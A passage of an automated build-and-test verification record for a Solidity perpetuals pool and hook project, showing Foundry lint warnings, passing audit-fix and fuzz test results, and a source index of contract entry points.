│\n154 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:163:9\n    │\n163 │         emit IdleSwept(eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:173:9\n    │\n173 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:181:9\n    │\n181 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:201:32\n    │\n201 │         if (msg.value > ethIn) SafeTransferLib.safeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:203:9\n    │\n203 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:265:9\n    │\n265 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:276:32\n    │\n276 │         if (toFeeAddress != 0) SafeTransferLib.safeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:222:9\n    │\n222 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:235:9\n    │\n235 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:277:9\n    │\n277 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:236:9\n    │\n236 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:255:21\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:47\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:255:55\n    │\n255 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:73\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:256:81\n    │\n256 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:71\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:259:79\n    │\n259 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:260:13\n    │\n260 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:60\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:262:68\n    │\n262 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:467:43\n    │\n467 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n468 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n469 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:289:60\n    │\n289 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:24\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:32\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:47\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:293:55\n    │\n293 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":155,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 354.78µs (0.00ns CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 273141)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231731)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405772)\n[PASS] test_OpensAtThePrice() (gas: 53432)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11135)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185312)\n[PASS] test_TradesBothWays() (gas: 409054)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 14.25ms (1.29ms CPU time)\n\nRan 6 tests for test/AuditFixes.t.sol:AuditFixesTest\n[PASS] test_Fix_AdminGuards() (gas: 213420)\n[PASS] test_Fix_AnAdditionLeavesTheEarnedFeesInThePool() (gas: 2005629)\n[PASS] test_Fix_CompoundOnlyAtThePonsPrice() (gas: 390799)\n[PASS] test_Fix_LowGasSweepFailsClosed() (gas: 579858)\n[PASS] test_Fix_NoCrossingThroughPons() (gas: 468990)\n[PASS] test_Fix_UnreadablePonsLeavesTradingOpen() (gas: 448762)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 22.05ms (9.98ms CPU time)\n\nRan 15 tests for test/LaunchAuditFixes.t.sol:LaunchAuditFixesTest\n[PASS] testFuzz_FeeModelCannotDrift(uint256) (runs: 256, μ: 55070, ~: 55015)\n[PASS] testFuzz_SweepOnlyRecoversIdleBalances(uint96,uint112) (runs: 256, μ: 214345, ~: 215604)\n[PASS] test_ExemptAndEngineSwapsPayTheSameFee() (gas: 1097758)\n[PASS] test_FeeForwardingKeepsTheExistingSplitAndRenunciation() (gas: 132542)\n[PASS] test_FeeModelCompatibilitySettersRemainOwnerOnly() (gas: 74259)\n[PASS] test_FeeModelDerivesFromConstructorRate() (gas: 137203)\n[PASS] test_FeeModelMatchesStaticFeeAtLaunch() (gas: 46810)\n[PASS] test_IdleBalancesRecoverAfterMigrationOffPons() (gas: 830425)\n[PASS] test_OwnerCanAlwaysRemoveAllLiquidityDespiteBrokenEngine() (gas: 1076187)\n[PASS] test_SpotReferenceCanMoveWithinTheTransaction() (gas: 473859)\n[PASS] test_SweepBeforeOpeningAndWithOnlyOneAsset() (gas: 229734)\n[PASS] test_SweepRejectsFailedTokenTransfer() (gas: 102332)\n[PASS] test_SweepRejectsReentrancyByOwnerRecipient() (gas: 468276)\n[PASS] test_SweepRequiresOwnerAndNonzeroRecipients() (gas: 149723)\n[PASS] test_SweepRollsBackIfRecipientRejectsETH() (gas: 307721)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 46.21ms (64.38ms CPU time)\n\nRan 6 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 9761192)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 24135659)\n[PASS] test_FitsOneTransaction() (gas: 14670291)\nLogs:\n  launch gas (mining and intrinsic gas included): 9777411\n  hook salt: 41352\n\n[PASS] test_InsufficientGasCannotDeploy() (gas: 179987)\n[PASS] test_PassesTheAdmissionScan() (gas: 18293050)\n[PASS] test_RefusesADynamicFee() (gas: 4302)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 62.74ms (154.93ms CPU time)\n\nRan 5 test suites in 63.60ms (145.60ms CPU time): 34 tests passed, 0 failed, 1 skipped (35 total tests)\n","passed":true},{"durationMs":72,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"IMD6900PerpHook.afterAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.afterInitialize(address,(address,address,uint24,int24,address),uint160,int24)\",\"IMD6900PerpHook.afterRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),int256,int256,bytes)\",\"IMD6900PerpHook.afterSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),int256,bytes)\",\"IMD6900PerpHook.beforeAddLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeDonate(address,(address,address,uint24,int24,address),uint256,uint256,bytes)\",\"IMD6900PerpHook.beforeInitialize(address,(address,address,uint24,int24,address),uint160)\",\"IMD6900PerpHook.beforeRemoveLiquidity(address,(address,address,uint24,int24,address),(int24,int24,int256,bytes32),bytes)\",\"IMD6900PerpHook.beforeSwap(address,(address,address,uint24,int24,address),(bool,int256,uint160),bytes)\",\"IMD6900PerpHook.cancelOwnershipHandover()\",\"IMD6900PerpHook.completeOwnershipHandover(address)\",\"IMD6900PerpHook.flush()\",\"IMD6900PerpHook.receive()\",\"IMD6900PerpHook.renounceFeeAddress()\",\"IMD6900PerpHook.renounceOwnership()\",\"IMD6900PerpHook.requestOwnershipHandover()\",\"IMD6900PerpHook.setBand(uint256)\",\"IMD6900PerpHook.setFeeExempt(address,bool)\",\"IMD6900PerpHook.setPerpEngine(address)\",\"IMD6900PerpHook.setPerpFeeBps(uint256)\",\"IMD6900PerpHook.setSweepFailOpen(bool)\",\"IMD6900PerpHook.transferOwnership(address)\",\"IMD6900PerpHook.updateFeeAddress(address)\",\"IMD6900PerpPool.addFees()\",\"IMD6900PerpPool.addLiquidity(uint256,address)\",\"IMD6900PerpPool.cancelOwnershipHandover()\",\"IMD6900PerpPool.completeOwnershipHandover(address)\",\"IMD6900PerpPool.compound(uint256,uint256)\",\"IMD6900PerpPool.open(address,address,uint160,uint256)\",\"IMD6900PerpPool.receive()\",\"IMD6900PerpPool.removeLiquidity(uint128,address,address)\",\"IMD6900PerpPool.renounceOwnership()\",\"IMD6900PerpPool.requestOwnershipHandover()\",\"IMD6900PerpPool.setCurve(address)\",\"IMD6900PerpPool.setFeeSink(address)\",\"IMD6900PerpPool.setHook(address)\",\"IMD6900PerpPool.setPerpEngine(address)\",\"IMD6900PerpPool.sweepIdle(address,address)\",\"IMD6900PerpPool.transferOwnership(address)\",\"IMD6900PerpPool.unlockCallback(bytes)\"],\"files\":{\".gitignore\":4,\"ADAPTATION.md\":100,\"README.md\":132,\"foundry.toml\":25,\"launch.json\":15,\"script/Owner.s.sol\":94,\"src/IMD6900PerpHook.sol\":492,\"src/IMD6900PerpPool.sol\":295,\"src/IMD6900PerpsLaunch.sol\":76,\"test/AuditFixes.t.sol\":153,\"test/IMD6900Perps.t.sol\":158,\"test/IMD6900PerpsLaunch.t.sol\":147,\"test/LaunchAuditFixes.t.sol\":338,\"test/RobinhoodFlow.fork.t.sol\":303},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"1f27efc549015b9dc1ff86c1d2c218afe07aba8cd860b1fb02aac7d895227b89","verifiedTreeHash":"874e561557fe5fbc05b36347593c54f2b6475b86","verifierVersion":"0.1.0+fdeb4d4a"},{"checks":[{"durationMs":19611,"exitCode":0,"name":"build","output":"Compiling 85 files with Solc 0.8.26\nSolc 0.8.26 finished in 19.49s\nCompiler run successful!\nwarning[encode-packed-collision]: `abi.encodePacked()` called with multiple dynamic type arguments; hash collisions possible\n   ╭▸ src/IMD6900PerpsLaunch.sol:38:29\n   │\n38 │           bytes memory init = abi.encodePacked(\n   │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n39 │ ┃             type(IMD6900PerpHook).creationCode, abi.encode(poolManager, address(p), feeAddress, owner, poolFee)\n40 │ ┃         );\n   │ ┗━━━━━━━━━┛\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/encode-packed-collision\n\nwarning[uninitialized-local]: local variable is read before being initialized\n   ╭▸ src/IMD6900PerpsLaunch.sol:74:14\n   │\n74 │         if (!found) revert NoSalt();\n   │              ━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/IMD6900PerpPool.sol:92:25\n   │\n92 │     function setFeeSink(address feeSink_) external onlyOwner {\n   │                         ━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n   ╭▸ src/IMD6900PerpPool.sol:95:9\n   │\n95 │         emit FeeSinkSet(feeSink_);\n   │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-events-access-control]: `feeAddress` is changed without an event but is used for access control\n    ╭▸ src/IMD6900PerpHook.sol:264:9\n    │\n264 │         feeAddress = launcher;\n    │         ━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:63\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:109:22\n    │\n109 │     function setHook(address hook_) external onlyOwner {\n    │                      ━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:179:44\n    │\n179 │     constructor(IPoolManager poolManager_, address launcher_, address feeAddress_, address owner_, uint24 poolFeePips_)\n    │                                            ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:112:9\n    │\n112 │         emit HookSet(hook_);\n    │         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:115:28\n    │\n115 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:117:9\n    │\n117 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:124:9\n    │\n124 │         emit CurveSet(curve_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:144:9\n    │\n144 │         SafeTransferLib.safeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:239:9\n    │\n239 │         emit BandSet(maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:249:9\n    │\n249 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:256:9\n    │\n256 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:134:95\n    │\n134 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:21\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:146:9\n    │\n146 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:141:67\n    │\n141 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:162:23\n    │\n162 │         if (eth != 0) SafeTransferLib.safeTransferETH(ethTo, eth);\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:154:9\n    │\n154 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:163:9\n    │\n163 │         emit IdleSwept(eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: 